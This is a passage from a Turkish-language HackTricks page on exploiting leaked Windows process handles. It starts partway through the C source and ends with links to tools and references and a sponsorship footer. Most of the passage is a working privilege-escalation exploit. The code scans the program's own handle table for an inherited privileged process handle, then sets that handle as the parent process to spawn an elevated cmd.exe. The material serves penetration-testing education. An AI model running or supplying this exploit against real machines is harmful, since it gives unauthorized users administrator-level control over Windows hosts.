SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
|
||
|
||
// Check if this handle belongs to our own process
|
||
if (handle.UniqueProcessId != dwOwnPID)
|
||
continue;
|
||
|
||
objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
|
||
if (pNtQueryObject( (HANDLE) handle.HandleValue,
|
||
ObjectTypeInformation,
|
||
objectTypeInfo,
|
||
0x1000,
|
||
NULL ) != STATUS_SUCCESS)
|
||
continue;
|
||
|
||
// skip some objects to avoid getting stuck
|
||
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
|
||
if (handle.GrantedAccess == 0x0012019f
|
||
&& handle.GrantedAccess != 0x00120189
|
||
&& handle.GrantedAccess != 0x120089
|
||
&& handle.GrantedAccess != 0x1A019F ) {
|
||
free(objectTypeInfo);
|
||
continue;
|
||
}
|
||
|
||
// get object name information
|
||
objectNameInfo = malloc(0x1000);
|
||
if (pNtQueryObject( (HANDLE) handle.HandleValue,
|
||
ObjectNameInformation,
|
||
objectNameInfo,
|
||
0x1000,
|
||
&returnLength ) != STATUS_SUCCESS) {
|
||
|
||
// adjust the size of a returned object and query again
|
||
objectNameInfo = realloc(objectNameInfo, returnLength);
|
||
if (pNtQueryObject( (HANDLE) handle.HandleValue,
|
||
ObjectNameInformation,
|
||
objectNameInfo,
|
||
returnLength,
|
||
NULL ) != STATUS_SUCCESS) {
|
||
free(objectTypeInfo);
|
||
free(objectNameInfo);
|
||
continue;
|
||
}
|
||
}
|
||
|
||
// check if we've got a process object
|
||
objectName = *(PUNICODE_STRING) objectNameInfo;
|
||
UNICODE_STRING pProcess;
|
||
|
||
pRtlInitUnicodeString(&pProcess, L"Process");
|
||
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
|
||
printf("[+] Found process handle (%x)\n", handle.HandleValue);
|
||
hProc = (HANDLE) handle.HandleValue;
|
||
free(objectTypeInfo);
|
||
free(objectNameInfo);
|
||
break;
|
||
}
|
||
else
|
||
continue;
|
||
|
||
free(objectTypeInfo);
|
||
free(objectNameInfo);
|
||
}
|
||
|
||
return hProc;
|
||
}
|
||
|
||
|
||
int main(int argc, char **argv) {
|
||
|
||
HANDLE hProc = NULL;
|
||
STARTUPINFOEXA si;
|
||
PROCESS_INFORMATION pi;
|
||
int pid = 0;
|
||
SIZE_T size;
|
||
BOOL ret;
|
||
|
||
Sleep(20000);
|
||
// find leaked process handle
|
||
hProc = GetVulnProcHandle();
|
||
|
||
if ( hProc != NULL) {
|
||
|
||
// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
|
||
ZeroMemory(&si, sizeof(STARTUPINFOEXA));
|
||
|
||
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
|
||
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );
|
||
|
||
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
|
||
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
|
||
|
||
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
|
||
|
||
// Spawn elevated cmd process
|
||
ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE,
|
||
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );
|
||
|
||
if (ret == FALSE) {
|
||
printf("[!] Error spawning new process: [%d]\n", GetLastError());
|
||
return -1;
|
||
}
|
||
}
|
||
|
||
Sleep(20000);
|
||
return 0;
|
||
}
|
||
```
|
||
## Diğer araçlar ve örnekler
|
||
|
||
* [**https://github.com/lab52io/LeakedHandlesFinder**](https://github.com/lab52io/LeakedHandlesFinder)
|
||
|
||
Bu araç, sızdırılan tutamaçları izlemenizi ve zayıf olanları bulmanızı ve hatta otomatik olarak sömürmenizi sağlar. Ayrıca bir tutamacı sızdırmak için bir araca da sahiptir.
|
||
|
||
* [**https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles**](https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles)
|
||
|
||
Bir tutamacı sızdırmak ve sömürmek için başka bir araç.
|
||
|
||
## Referanslar
|
||
|
||
* [http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)
|
||
* [https://github.com/lab52io/LeakedHandlesFinder](https://github.com/lab52io/LeakedHandlesFinder)
|
||
* [https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html](https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html)
|
||
|
||
<details>
|
||
|
||
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||
|
||
HackTricks'i desteklemenin diğer yolları:
|
||
|
||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
|
||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||
|
||
</details>
|